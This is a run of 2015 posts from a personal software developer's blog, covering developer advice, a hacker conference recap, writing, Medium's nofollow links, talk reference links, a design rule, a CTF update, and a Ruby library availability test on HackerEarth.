<p>I was asking people about good interview questions, and one that I really liked was “How do you write an HTTP server using sockets?”. A lot of developers are stuck in this moat of “programming = software development”. And you can’t get over that unless you start thinking in terms of concepts. This is not me trying to get people to become Architecture Astronauts, but me trying to get people to understand how things work.
I’ve interviewed people who have no idea about how HTTP works, and in my opinion you can’t really be a web developer without knowing HTTP. A fairly good filter for good web developers is whether they know the ins-and-outs of HTTP. And HTTP is not a programming challenge, but rather a conceptual problem.
Similarly, if you work in the frontend, and you don’t know what the Same Origin Policy is, I am not gonna hire you. (“Is it implemented on the browser or the server?” is a another good question). The point I’m trying to make is that you need to get a layer above your language’s standard library and understand how things work. Learning ActiveRecord is awesome, but do you understand how it works?</p>
</li>
<li>
<h3 id="ship-products">Ship Products</h3>
<p>Doesn’t matter if they are small, or made in a hackathon. As long as its shipped, we’re cool. If its not, come back when you’ve shipped it.</p>
</li>
<li>
<h3 id="have-side-projects">Have side projects</h3>
<p>This is slightly harder to do, but far more rewarding. Make sure that your side-project is not something you <em>expect</em> to make money out of, and that it has a fairly reasonable scope. Side projects are an excellent breeding ground for you to try out new technologies, and play around with new languages. Its a really good breakaway from work-things as well, on top of that.</p>
</li>
<li>
<h3 id="read-technical-books">Read technical books</h3>
<p>As a start, I’d recommend everything that codinghorror has suggested <a href="https://blog.codinghorror.com/recommended-reading-for-developers/">here</a> and <a href="https://blog.codinghorror.com/programmers-dont-read-books-but-you-should/">here</a>. There are a lot of good books listed on hackershelf.com as well. My personal favorite is <a href="http://www.amazon.com/exec/obidos/ASIN/0321965515">Don’t Make Me Think</a>, which is a book on Web Usability and something I think every developer and designer should be forced to read.</p>
</li>
</ol>
<p><strong>Thanks</strong> to <a href="https://shashankmehta.in">Shashank Mehta</a> for discussing these ideas
with me and helping me frame this post.</p>
HillHacks 20152015-07-20T00:00:00+00:00https://captnemo.in/blog/2015/07/20/hillhacks<p>A little while back, I came across <a href="https://hillhacks.in" title="hacking and making in the Himalayas">HillHacks</a>, a conference in Dharamshala about “hacking and making in the Himalayas”. I was instantly hooked. It took a lot of scheduling troubles, but I decided to stay for the entire unconference, which started at 23rd May.</p>
<p>Its hard to describe the HillHacks experience in a single blog post. I met so many amazing people from all over the world. Learned a lot of different things. I Had a lot of fun teaching some other things. I helped organize some of the stuff, and managed to stay awake an entire night while participating in an CTF. And on top of that, got to eat delicious food.</p>
<p>HillHacks as an event, was divided into two segments:</p>
<ul>
<li>An unconference (23rd May - 3rd June)</li>
<li>Main Conference (4-7 June)</li>
</ul>
<p>A lot of people had arrived before me at the venue and taken care of the basic infrastructure. We had internet connectivity via two local ISPs. We had IPV6 connectivity via a tunnel in Belgium as well.</p>
<p>There were a lot of fun activities planned everyday: from unicycling to skateboarding and playing Cards against Humanity; it was a lot of fun living with so many strangers and trying to figure out ways to help.</p>
<p>I did a talk on <a href="http://sdslabs.co" title="SDSLabs is a campus group at IIT Roorkee">SDSLabs</a>, a <a href="https://speakerdeck.com/captn3m0/hillhacks-quiz" title="Hillhacks Quiz">quiz for everyone</a>, and an <a href="http://slides.com/captn3m0/ctf#/" title="Slides from the talk">introductory session on CTF contests</a>. We then participated in a <a href="http://signup.sqrts.de/" title="Page is in german">CTF</a> organized in Germany as Team HillHacks. On the last day of the conference, I did a [talk][josd-talk] on “The Joy of Software Development”, which is a <a href="https://josd.captnemo.in/" title="Joy of Software Development Book Website">book I am working on</a>.</p>
<p>For the first time in my life, I met people who actually use BSD. And to make it even more amazing, I met NetBSD Kernel developers, people on the BSD Security Team, and people who prefer OpenBSD over NetBSD (I’d never really cared for the distinction, as a Linux user)</p>
<p>We did a lot of hacks, including running an MPD Daemon and streaming it over IceCast. I also spent a lot of time cubing and teaching people how to solve Rubik Cubes. My times have also improved somewhat as a result. Thanks to <a href="https://trouble.is/bio/" title="trouble's bio page">trouble</a>, I also learnt how to solve a MegaMinx.</p>
<p>As part of the School Outreach program (organized by the brilliant <a href="https://twitter.com/mediatinker" title="Her twitter profile">Tink</a>), we taught kids about Codes and Ciphers, programming, speedcubing and lots of other things. The kids also performed in the final Gala Show giving us brilliant performances in 3 different plays (all 3 schools had their own plays).</p>
<p>I learned a lot of different things: how to start with Kernel Programming, DNSSEC, Retro Gaming. Thanks to a few dedicated volunteers, we even made a 8-inch Telescope that made staring at the night sky so much fun. We had a session on Typography, a story telling session in Malayalam (translated to English on the fly). I even learnt a bit of Emacs.</p>
<p>The list is so long, I don’t think I can do it justice in this single blog post.</p>
<p>The most amazing part was not the technical things, but the community itself. <a href="https://twitter.com/sva" title="sva on twitter">sva</a> would often say that everyone of us has “sudo access on the conference” (geekspeak for full authority). Each of us helped organize it, any way we could. The community got together to setup the stage, tents, network and the entire infrastructure at HillHacks. Zainab even has a blog post on <a href="https://medium.com/@zainabbawa/on-community-and-the-art-of-various-cookings-511c31c33498" title="On community, and the art of various cookings">social cooking at Hillhacks</a>.</p>
<p>As I sit here at the venue, it has been 2 weeks of fun and awesomeness here at HillHacks. I leave with lots of memories and hope to be here next year.</p>
<p>If this blog post interests you, be sure to check out <a href="https://hackbeach.in" title="HackBeach wiki page">hackbeach</a> as well. We are doing a mini-conference around November in Kovalam.</p>
Thoughts on Writing2015-06-07T00:00:00+00:00https://captnemo.in/blog/2015/06/07/on-writing<p>I have always wanted to be a writer. I think secretly us all reader-folk have that ambition. The joy of getting across your thoughts to another person without ever having met them is enormous.</p>
<p>Most of my writing time these days is spent over email, chat or my not-so-frequent blog posts. I tend to do a lot of research while writing, and it takes up a lot of time. As such, my writing output tends to be diminutive compared to what I’d like.</p>
<p>However, if you’ll go through my blog posts and emails, I write a lot about <em>trivial things</em>. Things that many people have already written about. Things that have probably been discussed to death, and where I have very little chance of actually coming up with something new.</p>
<p>Should I still go ahead and write about it?</p>
<p>This question has been bugging me for a while, especially as a blogger. I mostly write on technical topics these days. For instance, I have given talks on [Software Development], [UX Design], and even [Bitcoin]. I am nowhere close to being an authority on any of these things. Even in my specialized field of Web Development, there are so many things that I’m only barely aware about. So many things I am yet to even form my own opinions about. Topics I don’t even know exist.</p>
<p>When I go and read an article about Software Development from <a href="http://www.joelonsoftware.com/" title="Joel on Software">Joel Spolsky</a>, or an article on Security by <a href="https://www.schneier.com/" title="Schneier on Security">Bruce Schneier</a>, or something on Startups by <a href="http://paulgraham.com/articles.html" title="Essays by Paul Graham">Paul Graham</a>, or <a href="https://news.ycombinator.com/threads?id=tptacek" title="tptacek's comments on HN">tptacek</a> on Hacker News; I instantly sit back and take notice: I know their credentials and the fact that they are speaking authoritatively on the topic. However, what can I, a meager undergrad with almost zero experience, write on such topics. Why should I even try, when there are people hundreds of time better who understand these things a thousand times better than me.</p>
<p>In retrospect, this sounds quite similar to the <a href="https://en.wikipedia.org/wiki/Impostor_syndrome" title="Impostor syndrome">Imposter Syndrome</a>; and I’m not sure if this is exactly the same thing. I don’t get a feeling that I’m a fraud. I totally understand my own capabilities and successes, but the mere fact that there are people far better at what I’m doing is enough to dis-hearten me.</p>
<p>I’ve given this a lot of thought. A really good summary of my response is in the following answer by <a href="http://www.prufrock451.com/" title="Official website for James Erwin">James Erwin</a>, author of Rome Sweet Rome in a reddit AMA to a question asking for writer advice:</p>
<blockquote>
<p>And if you’re going to write, write what you want to write. The odds against any creator are insane. If you’re going to devote months of your time, don’t let it be for an idea you think will sell. Odds are it won’t. Write something you want to write, or need to write. Write for yourself before anyone else. I’d rather read someone who is excited and passionate about what they want to say than someone who’s obviously trying to say what they think I want to hear.</p>
<p>— <a href="https://www.reddit.com/r/IAmA/comments/2w72o7/so_i_sold_a_reddit_reply_to_warner_brothers_a_few/coo5gys" title="permalink to quote in his reddit ama thread">James Erwin</a></p>
</blockquote>
<p>I write, despite all these doubts, for the following reasons:</p>
<ol>
<li>Self-learning. A blog is an excellent way to keep track of your self-learning. Its amazing to come back a few years later and see the things you were struggling with before. Its equally amazing to do a trivial google search for an issue you face and find your own blog post or stackoverflow answer on the same.</li>
<li>Sharing Knowledge. Yes, there are people who might know it better, but that shouldn’t mean I should keep my knowledge to myself. That would go against all the values that I stand for.</li>
<li>Network Effect: Not in the strictest sense of the word, but my friend <a href="http://shashankmehta.in" title="Shashank's personal website">Shashank</a> recently brought this up. I have a circle of people who know me and would vouch for my credentials. For the same reason, they are more likely to trust me as source, instead of a third person who they have no knowledge of.</li>
<li>I love writing. The mere process of putting words down is enchanting for me.</li>
</ol>
<p>The next question that rises is: “What should I write about?”. Ruling out things I have no clue about, that still leaves a large number of topics I can cover. I am interested in UX Design, Hackers, Computer Security, Software Development, rationalism, skepticism, Free and Open Source movements, Political activism, Technocracy with a passing interest in several other fields such as cosmology and geek culture.</p>
<p>I am not going to pick one every day and write about something new. I don’t want to write something rubbish just for the sake of writing it. I ultimately want to write because I have something to say. It doesn’t have to be unique or ground-breaking. What matters is that I <em>want to write about it</em>.</p>
<p>A few days back someone contacted me on facebook asking me advice on getting started with web development. I get a lot of these queries, mostly over facebook, email, and quora. Our conversation went back and forth with me suggesting resources, and he getting exceedingly confused over whether he should use codecademy or udacity, or coursera or something else.</p>
<p>I have devoted a lot of time in my life to teaching people the nuances of these things. I have mentored many people, and acutely know the issues a beginner faces. In turn, I had <a href="https://twitter.com/kumar_ishan" title="Kumar Ishan">an amazing mentor</a> who taught me the importance of always learning things.</p>
<p>All of this lead me to realize one fact: I have been writing a lot about Software Development. Unfortunately, a lot of it is in private emails and chat. And I wanna write more about it, on a public medium.</p>
<p>So, I’m announcing the next thing I’m working on: a book called <a href="">The Joy of Software Development</a>. A few obligatory links:</p>
<ul>
<li>The source code is available on <a href="https://github.com/captn3m0/the-joy-of-software-development" title="GitHub source for the book">GitHub</a>.</li>
<li>Its licensed under the <a href="https://creativecommons.org/licenses/by-sa/4.0/">CC-by-SA 4.0 license</a>.</li>
<li>The canonical url for the site is <a href="https://josd.captnemo.in/" title="The Joy of Software Development">https://josd.captnemo.in/</a></li>
<li>Its hosted on the excellent <a href="http://gitbook.com/" title="GitBook">GitBook</a> platform, which automatically publishes each version as epub, mobi, and pdf as well.</li>
<li>Who the <a href="https://josd.captnemo.in/content/hn.html" title="A few words to the HN community">target audience</a> for the book is.</li>
<li>You can <a href="https://github.com/captn3m0/the-joy-of-software-development/issues/new" title="File a new issue for the book">file an issue</a> for critique on GitHub</li>
</ul>
<p>As expected, all the development, writing, and discussion on the book will be in the public, mostly on GitHub. I am writing this book, because I feel it needs to be written. I don’t expect it to be published, but that won’t stop me from writing it.</p>
<p><a href="https://github.com/aartur" title="He's made hackerusesthis">Artur Siekielski</a> recently came across it, and wrote the following:</p>
<blockquote>
<p>The book you’re writing looks very good! It’s filling a niche as I don’t think there are any modern books that focus on “bird’s eye view”, and I see it would be helpful for many programmers to refresh knowledge.</p>
</blockquote>
<p>That gave me a bit of validation, as the only person who’d read it so far were my close friends.</p>
<p>If you wanna support its development, you can do one of the following:</p>
<ul>
<li>Poke me on <a href="https://twitter.com/captn3m0" title="@captn3m0">twitter</a> or <a href="/contact/">email</a> and let me know you want to read it</li>
<li><a href="https://josd.captnemo.in/" title="The Joy of Software Development">Subscribe</a> to the mailing list (I’ll send out updates there)</li>
<li>Watch or Star the repo on <a href="https://github.com/captn3m0/the-joy-of-software-development" title="GitHub source for the book">GitHub</a>.</li>
<li>See the <a href="https://github.com/captn3m0/the-joy-of-software-development/blob/master/CONTRIBUTING.md" title="Contributing Guide on GitHub">CONTRIBUTING</a> file on github for contributing to the text.</li>
</ul>
<p>Asking for Donations might sound weird to some. I don’t really need the money, but I think I’d get an additional sense of responsibility towards finishing it if people start giving me money. I will be donating the entire proceedings to <a href="https://www.eff.org/" title="Electronic Frontier Foundation">EFF</a>.</p>
Medium abuses nofollow2015-04-06T00:00:00+00:00https://captnemo.in/blog/2015/04/06/medium-abuses-nofollow<p><strong>Update</strong>: Since I published this post, I have changed my opinion somewhat on the matter. This post is <a href="https://news.ycombinator.com/item?id=9328384">quite confrontational</a> and I didn’t mean it to be that way. Medium is not wrong in this matter, but I still think we need to look for better solutions. I have since been working on a <a href="https://github.com/captn3m0/ideas/blob/master/BADIDEAS.md#-nofollow-enforcer">proposal/idea</a> that would use machine learning to “solve” this problem, instead of side-stepping it.</p>
<p>I call <a href="https://medium.com" rel="nofollow" title="This is a nofollow link">medium</a> a “<em>mostly good</em>” platform for lazy writers. A lot of people have written about its excellent typography, or it being the next “big publishing platform”. I’ve used medium in the past, and while it does have its benefits, I have stopped using it.</p>
<p>My primary reason was that I already have a blog, where I can control the entire experience. This is the same reason why New York Times does not start publishing articles on Medium.</p>
<p>The other reason is nofollow abuse.</p>
<p>Medium hosts more than <a href="https://www.google.co.in/webhp?q=site%3Amedium.com#q=site:medium.com">1M indexed pages</a>. It has around <a href="https://medium.com/editors-picks">650k users</a> currently by <a href="https://www.quora.com/How-many-users-does-Medium-have/answer/Josh-Yang">a conservative estimate</a>. Rounding it to 700k to account for other users, collections, and other internal pages, it leaves us with around 300,000 articles on medium.</p>
<p>A basic tenet of the web is linkability. That is what Tim Berners Lee meant when he talked about HyperText:</p>
<blockquote>
<p>HyperText is a way to link and access information of various kinds as a web of nodes in which the user can browse at will.</p>
</blockquote>
<p>Over time, the web has evolved, and is now not just limited to human users, but to computers as well. This is an important consideration on which the web rests today. The biggest example of this is Google Search, which uses these links to “follow, spider, and index” the web. Google uses this linking information to build a citation index, which gives us the quality of a web page depending on the quality and number of sites that link to it.</p>
<p>If you know a bit or two about SEO, you might have heard of shady backlink techniques, which essentially amount to you getting links from an established site. This often takes the form of user-generated content such as comments and answers.</p>
<p>While fighting spam is important, it is far more important to make sure that web remains linked, that people are credited for the content they create. Medium hosts 300,000 articles published by half a million users, and yet none of these links back to external website, because of something called “rel=nofollow”.</p>
<p>When a link has a <code class="language-plaintext highlighter-rouge">rel=nofollow</code> attribute, search engines do not count it as a citation in their index. While this may be the right strategy for comments on a wordpress blog to prevent spam, this is not the right way to move forward if you want to “revolutionize the publishing industry”.</p>
<p>While medium is not as bad as some other sites in this regard (like quora, which even blocks the internet archive), it is very important because it portrays itself as a “publishing platform”. This means, medium is made up of articles, blog posts, with lots of outbound links compared to, for instance, StackOverflow answers (which <a href="http://meta.stackexchange.com/questions/111279/remove-nofollow-on-links-deemed-reputable">solved this problem back in 2011</a>).</p>
<p>If you publish content on medium, and provide relevant links for your readers, remember that these links are not considered as relevant by search engines.</p>
<p>Medium has said that this is <a href="https://twitter.com/lenkendall/status/432203084270292992">not a top priority</a> at the moment for them.</p>
<p>I understand completely. Handling spam would be a far more harder problem to solve than just blacklisting all outbound links. But we cannot go this way, if we want an open web. We need publishing platforms that cite content, and not blacklist it. This is why I write content on my own blog, and not on medium.</p>
Blog post on recent talk2015-03-20T00:00:00+00:00https://captnemo.in/blog/2015/03/20/josd-talk<p>So I recently did a talk on Joy of Software Development. You can read more about the talk <a href="https://captnemo.in/talks/josd/">here</a> (link includes slides and list of topics covered). This post is devoted to the references I’d promised to link to in the talk. Since it was an introductory talk, and I didn’t want to bore people to death, I decided to cover lots of topics at a shallow depth, instead of covering a few topics deeply.</p>
<p>This means that I need to post more material for people to follow up on. So, this is that reference blog post. Make sure you have a copy of the slides open as you go through these links.</p>
<p><em>Update</em>: I also gave this talk (with a few updates) at <a href="https://www.geekskool.com/">GeekSkool</a> in October 2015.</p>
<h2 id="software-development-in-general">Software Development in general</h2>
<ul>
<li><a href="http://sockpuppet.org/blog/2015/03/06/the-hiring-post/">Hiring in software industry is broken</a></li>
<li><a href="http://c2.com/cgi/wiki?BreadthFirstLearning">Breadth First Learning</a></li>
<li><a href="http://blog.codinghorror.com/recommended-reading-for-developers/">Recommended readings for developers</a> by Jeff Atwood (codinghorror)</li>
<li><a href="http://blog.codinghorror.com/version-1-sucks-but-ship-it-anyway/">Ship v1, even if it sucks</a></li>
<li><a href="https://web.archive.org/web/20160504181428/http://mstrick.com/ship-early-and-often/">Ship early, ship often</a></li>
<li><a href="http://www.joelonsoftware.com/articles/fog0000000069.html">Never rewrite, always refactor</a> by Joel Spolsky</li>
<li><a href="http://www.joelonsoftware.com/articles/fog0000000043.html">The Joel Test</a> to score a software company.</li>
</ul>
<h2 id="software-security">Software Security</h2>
<ul>
<li><a href="https://news.ycombinator.com/item?id=9164895">Security is the opposite of obscurity</a></li>
<li><a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a></li>
<li><a href="https://class.coursera.org/softwaresec-002">Software Security</a> course on coursera</li>
<li><a href="https://ctftime.org">CTFTime</a> - See upcoming CTF contests</li>
<li><a href="http://io.smashthestack.org/">SmashTheStack</a> - Learn buffer overflow attacks</li>
<li><a href="https://exploit-exercises.lains.space/nebula/">Nebula Exploit Excercises</a></li>
<li><a href="https://backdoor.sdslabs.co/">Backdoor</a> - Security CTF platform for beginners by SDSLabs</li>
</ul>
<h3 id="starting-advice">Starting Advice</h3>
<ul>
<li><a href="http://codahale.com/how-to-safely-store-a-password/">Use bcrypt</a></li>
<li><a href="http://security.stackexchange.com/">Ask questions on Security.SE</a></li>
<li><a href="http://c2.com/cgi/wiki?PrincipleOfLeastPrivilege">Principle Of Least Privilege</a></li>
<li><a href="http://stackoverflow.com/a/2794089/368328">Never trust user input</a></li>
</ul>
<h2 id="agnostic-software-development">Agnostic Software Development</h2>
<ul>
<li><a href="http://programmers.stackexchange.com/questions/1189/what-should-i-do-to-be-language-agnostic">What should I do to be language-agnostic?</a></li>
<li><a href="https://pragprog.com/book/btlang/seven-languages-in-seven-weeks">Seven languages in seven weeks</a> (Book)</li>
<li><a href="http://c2.com/cgi/wiki?PickTheRightToolForTheJob">Right tool for the job</a></li>
<li><a href="http://c2.com/cgi/wiki?LanguageAgnostic">Language Agnostic</a></li>
<li><a href="http://programmers.stackexchange.com/questions/64701/balance-between-right-tool-for-the-job-and-familiarity">Balance between “right tool for the job” and familiarity</a></li>
</ul>
<h2 id="free-and-open-source-development">Free and open source development</h2>
<ul>
<li><a href="https://www.gnu.org/philosophy/open-source-misses-the-point.html">Why Open Source misses the point of Free Software</a> - by Richard Stallman</li>
<li><a href="http://opensource.org/osd-annotated">Open source definition</a></li>
<li><a href="http://choosealicense.com/">Choose a license</a></li>
<li><a href="https://www.gnu.org/philosophy/free-sw.html">What is free software?</a></li>
<li><a href="http://www.wired.com/2013/09/why-free-software-is-more-important-now-than-ever-before/">Why Free Software Movement is important</a></li>
<li><a href="https://www.mozilla.org/en-US/mission/">Mozilla mission statement</a></li>
</ul>
<h2 id="version-control">Version Control</h2>
<ul>
<li><a href="http://git-scm.com/book/en/v2">Pro Git</a> (Book)</li>
<li><a href="https://try.github.io/levels/1/challenges/1">Learn Git in your browser</a></li>
<li><a href="https://web.archive.org/web/20180926172759/http://hginit.com/">Hg Init</a> Mercurial tutorial</li>
<li><a href="http://stackoverflow.com/questions/35837/what-is-the-difference-between-mercurial-and-git">Difference betweeng Hg and Git</a></li>
<li><a href="https://z.github.io/whygitisbetter/">Benefits of git</a></li>
<li><a href="http://nvie.com/posts/a-successful-git-branching-model/">Must read post on git branching model</a></li>
<li><a href="https://www.kernel.org/pub/software/scm/git/docs/everyday.html">Git in 20 commands</a></li>
</ul>
<h2 id="tests">Tests</h2>
<p>During the talk, I decidedly used the term TDD incorrectly. TDD technically means going test first, but I used it as an introduction to testing in general. This was intentional. The links here will use TDD in the correct sense.</p>
<ul>
<li><a href="http://code.tutsplus.com/tutorials/beginning-test-driven-development-in-python--net-30137">Test Driven Development Tutorial</a></li>
<li><a href="http://programmers.stackexchange.com/questions/41409/why-does-tdd-work">Why TDD works</a></li>
<li><a href="http://programmers.stackexchange.com/questions/66480/when-is-it-appropriate-to-not-unit-test">How much to cover in tests</a></li>
<li><a href="http://blog.codinghorror.com/i-pity-the-fool-who-doesnt-write-unit-tests/">Importance of testing</a> - Jeff Atwood</li>
<li><a href="http://sd.jtimothyking.com/2006/07/11/twelve-benefits-of-writing-unit-tests-first/">Benefits of going test first</a></li>
<li><a href="https://leif.me/on-testing-culture-in-github-projects/">Testing culture at github</a></li>
<li><a href="https://github.com/captn3m0/talks/blob/gh-pages/josd/code/code2.js">Source code I used in talk</a></li>
</ul>
<h2 id="rest-and-apis">REST and APIs</h2>
<ul>
<li><a href="https://www.quora.com/How-did-Roy-Fieldings-introduction-of-REST-in-his-2000-doctoral-thesis-impact-the-internet">Why was REST a breakthrough</a></li>
<li><a href="http://www.looah.com/source/view/2284">A simple lucid explanation of REST</a></li>
<li><a href="http://www.programmableweb.com/">What API to use</a></li>
<li><a href="http://c2.com/cgi/wiki?NotInventedHere">NIH Syndrome</a></li>
</ul>
<h2 id="unix-philosophy">Unix Philosophy</h2>
<ul>
<li>The epic <a href="http://www.leancrew.com/all-this/2011/12/more-shell-less-egg/#fnref:pipe">Knuth vs McIlroy</a> story</li>
<li><a href="http://www.catb.org/jargon/html/Z/Zawinskis-Law.html">Zawinski’s Law</a></li>
<li><a href="http://onethingwell.org/">http://onethingwell.org/</a></li>
<li><a href="https://en.wikipedia.org/wiki/Unix_philosophy">Wikipedia article</a> on the topic is surprisingly good</li>
<li><a href="http://unix.stackexchange.com/questions/30759/whats-a-good-example-of-piping-commands-together">Good examples of pipes</a></li>
</ul>
<h2 id="books">Books</h2>
<p>These are books i absolutely recommend every software developer to read, in order.</p>
<ol>
<li><a href="http://blog.codinghorror.com/dont-make-me-think-second-edition/">Don’t Make Me Think</a></li>
<li><a href="https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/">The Pragmatic Programmer</a></li>
</ol>
<p>Other than these, I recommend reading Code Complete, Mythical Man Month, and everything by Jeff Atwood and Zach Homan, but only after you have read the above 2 books.</p>
<h2 id="how-to-get-better-at-software-development">How to get better at Software Development?</h2>
<p>This is just a small list of topics I cover in a recent blog post. This is only present
in the updated version of the talk which I gave at GeekSkool. You can read the blog
post <a href="/blog/2015/10/12/get-better-at-software-development/">here</a> to look at the points I make.</p>
<hr />
<p>Phew. That was a lot of links. If you are ever interested in learning more about software development, feel free to <a href="/contact/">contact me</a>. If you ever feel like chatting with me, I’m usually online at <a href="https://chat.sdslabs.co">chat.sdslabs.co</a>.</p>
Buxton's Rule2015-03-08T00:00:00+00:00https://captnemo.in/blog/2015/03/08/buxtons-rule<p>I consider myself a UX enthusiast. I consider that term to aptly describe my interest in UX. As I’m deeply involved in many UX and design decisions, I try to be well read on design and UX principles. While reading a discussion about <a href="http://www.cultofmac.com/181782/every-iphone-prototype-apple-ever-made-before-released-the-first-iphone-gallery/" title="Every iPhone Prototype Apple ever made before releasing the first iPhone">iPhone prototypes</a> on <a href="https://news.ycombinator.com/item?id=4312460" title="Hacker News Discussion">HN</a> in June ‘12, I came across this comment:</p>
<blockquote>
<p>Goes to show what it takes to achieve excellence: lots of trial and error. Produce at least 3 alternatives for every design decision (Bill Buxton agrees).</p>
<p>— <a href="https://news.ycombinator.com/item?id=4312953">mstuherl</a></p>
</blockquote>
<p>It sounded so basic, yet often I see designers trying to defend their first design, because it seems good enough to them. No good design is ever born at the first step. Just like any other process, it takes multiple iterations to perfect it.</p>
<p>I recently got in touch with Morgan (<a href="https://news.ycombinator.com/user?id=msutherl" title="HN profile">mstuherl on HN</a>), and thanked him for his comment. Here’s what he said when I told him I wanted to dub it mstuherl’s rule:</p>
<blockquote>
<p>Hah! My name’s Morgan, so you can call it Morgan’s Rule if you like, but it comes from Bill, so Buxton’s rule would be more appropriate. His book Sketching User Experience contains yet more wisdom!</p>
</blockquote>
<p>So thats what I’m calling it:</p>
<div>
<center>
<h3>
BUXTON'S RULE
<br />
Produce at least 3 alternatives for every design decisions.
</h3>
</center>
</div>
<h2 id="further-reading">Further Reading</h2>
<ul>
<li><a href="http://www.billbuxton.com/iteration.html">Iteration in the Design of the Human-Computer Interface</a> - Bill Buxton</li>
<li><a href="http://www.amazon.com/Sketching-User-Experiences-Interactive-Technologies/dp/0123740371">Sketching User Experiences</a> by Bill Buxton</li>
<li><a href="http://www.sensible.com/dmmt.html">Don’t Make Me Think</a> by Steve Krug (My first recommendation to every software dev/designer)</li>
</ul>
scytheCTF and Updates2015-02-27T00:00:00+00:00https://captnemo.in/blog/2015/02/27/scythe-ctf-updates<p>February has been an interesting month for me. I haven’t been programming a lot, but have definitely been writing a lot. I have got a few more upcoming projects as well, which I’d love to announce soon.</p>
<p>We recently held a short 8-hour CTF (scytheCTF) on Backdoor. I made two challenges for the CTF:</p>
<ul>
<li><a href="https://backdoor.sdslabs.co/challenges/SHITTY-OTP">SHITTY-OTP</a></li>
<li><a href="https://backdoor.sdslabs.co/challenges/LOST-FOUND">LOST-FOUND</a></li>
</ul>
<p>Both of these problems were rush jobs because of several reasons:</p>
<ol>
<li>We didn’t have much time to set the problems.</li>
<li>We didn’t expect much participation in scytheCTF.</li>
<li>scytheCTF was a test CTF, just to figure out any issues with the internet launch of Backdoor.</li>
<li>scythe is also supposed to be beginner friendly, unlike our annual BackdoorCTF, which will include much harder problems.</li>
</ol>
<p>I had a lot of fun with <a href="https://twitter.com/kandoiabhi">@kandoiabhi</a> in setting the problems. It was also great seeing <a href="https://twitter.com/DefConUA">@DefConUA</a> participate in such a small-scale contest.</p>
<p>Other than scythe, we recently had our annual SDSLabs trip to Rishikesh, which I enjoyed a lot. I also wrote a small post on <a href="/setup/">my work setup</a>.</p>
How I found a bug in HackerEarth2015-02-12T00:00:00+00:00https://captnemo.in/blog/2015/02/12/hackerearth-bug<p><em><a href="https://www.hackerearth.com/notes/how-i-found-a-bug-in-hackerearth/" title="Permalink to How I found a bug in HackerEarth">Source</a></em></p>
<p>I am not a competitive programmer. I love programming, but more so I love building things. As a result, I rarely participate in coding contests. Even when I do, I try to use languages like Ruby and Python just to see if I can do it <em>my way</em>, so to speak.</p>
<p>While trying a contest in Ruby, I realized that I could not use the ruby <code class="language-plaintext highlighter-rouge">prime</code> library. This is a standard library in Ruby for a long while, and HackerEarth platform runs on 2.1.1, which is quite new.</p>
<p>I reported this as a bug to HackerEarth in September ‘14. A quick reply from HE made me realize that they weren’t understanding the issue:</p>
<blockquote>
<p>Modules like mathn or erb are part of standard library. They are available.</p>
<p>Try using, require ‘erb’require ‘mathn’ in code editor.<br />
However 3rd party libraries are not available.</p>
</blockquote>
<p>I decided to do some tests and check <em>all standard libraries</em> for their availability. For those unfamiliar with Ruby, this is how you load a standard library in ruby:</p>
<p><code class="language-plaintext highlighter-rouge">require 'prime'</code></p>
<p>Using the HackerEarth API, I was able to write some quick code that tested all expected libraries:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>while read lib; do
SOURCE="require%20'$lib'"
echo "Testing $lib"
curl -s -d "client_secret=API_SECRET&lang=RUBY&async=0&source=$SOURCE" http://api.hackerearth.com/code/run/ > $lib.json
done < libs.txt
</code></pre></div></div>
<p>Here <code class="language-plaintext highlighter-rouge">libs.txt</code> contains a list of all standard libraries. The above code is in bash, and makes use of curl. Parsing the results, I replied with the following:</p>
<blockquote>
<p>Requiring the following libraries raises a missing error:</p>
<p>coverage - RE<br />
extmk - RE<br />
fiddle - RE<br />
io/console - RE<br />
json - RE<br />
minitest - RE<br />
minitest/benchmark - RE<br />
minitest/spec - RE<br />
mkmf - RE<br />
objspace - RE<br />
prime - RE<br />
psych - RE<br />
racc - RE<br />
rake - RE<br />
rdoc - RE<br />
rexml - RE<br />
rinda - RE<br />
ripper - RE<br />
rubygems - RE<br />
tk - RE<br />
win32ole - RE<br />
xmlrpc - RE</p>
</blockquote>
<p>HackerEarth admitted the issue (I posted code to replicate on <a href="https://github.com/captn3m0/ruby-stdlib-test-hackerearth" title="HackerEarth Ruby stdlib Tests">github</a>), and have since worked on it. I just ran the tests again, and only the following libraries are unavailable now:</p>
<blockquote>
<p>curses - RE<br />
dbm - RE<br />
debug - RE<br />
extmk - RE<br />
gdbm - RE<br />
generator - RE<br />
iconv - RE<br />
racc - RE<br />
readline - RE<br />
rexml - RE<br />
rinda - RE<br />
tk - RE<br />
win32ole - RE</p>
</blockquote>
<p>A few of these are understandable (<code class="language-plaintext highlighter-rouge">win32</code> since HE platform runs on Linux, and <code class="language-plaintext highlighter-rouge">tk</code>, which is a graphical library). A few of these are unavailable in Ruby 2.1.1 (I copied the list of libs from the 2.1.3 docs).</p>
<p>Kudos to HackerEarth for fixing a bug that very few of their users would have faced. All the source code for this post can be found at <a href="https://github.com/captn3m0/ruby-stdlib-test-hackerearth" title="HackerEarth Ruby stdlib Tests">github</a>.</p>
<p><em>Note</em>: This article was copied from HackerEarth because they are shutting down their notes platform.</p>
I am offended2015-02-06T00:00:00+00:00https://captnemo.in/blog/2015/02/06/i-am-offended<p>To start with, here’s a piece of art that <em>is meant to offend you</em>:</p>
<p><a href="/img/bharatmata.jpg"><img src="/img/bharatmata_thumb.jpg" alt="Bharat Mata, by MF Hussain" /></a></p>
<p>The above is an artwork by MF Hussain. Its was sold as an untitled work by Hussain to a private collector, but was named <em>Bharat Mata</em> later when it was sold in an auction.</p>
<p>Were you offended by looking at it? Maybe.
Does it look vulgar and offensive to you? Perhaps.
What should you do as a result?</p>
<p>CLOSE THE TAB!</p>
<p>Seriously, India. The right thing to do when you are offended is not to <a href="http://indianexpress.com/article/india/politics/muslim-techie-beaten-to-death-in-pune-7-men-of-hindu-outfit-held/"><em>lynch a person to death</em></a>, or to <a href="http://timesofindia.indiatimes.com/india/Fatwa-issued-against-Vande-Mataram/articleshow/5191847.cms">issue a fatwa against singing the national song</a>. The right thing to do is this:</p>
<p><img src="https://boardgametime.files.wordpress.com/2012/04/table_flip.jpg" alt="Flip the table" /></p>
<p>The right to get offended in India is a result of the way our constitution curbs the freedom of speech. However, these restrictions were not in the constitution that was passed when India was made a republic (26 Jan 1950). It was added as the First Amendment (ironic, I know), which passed in June 1951.</p>
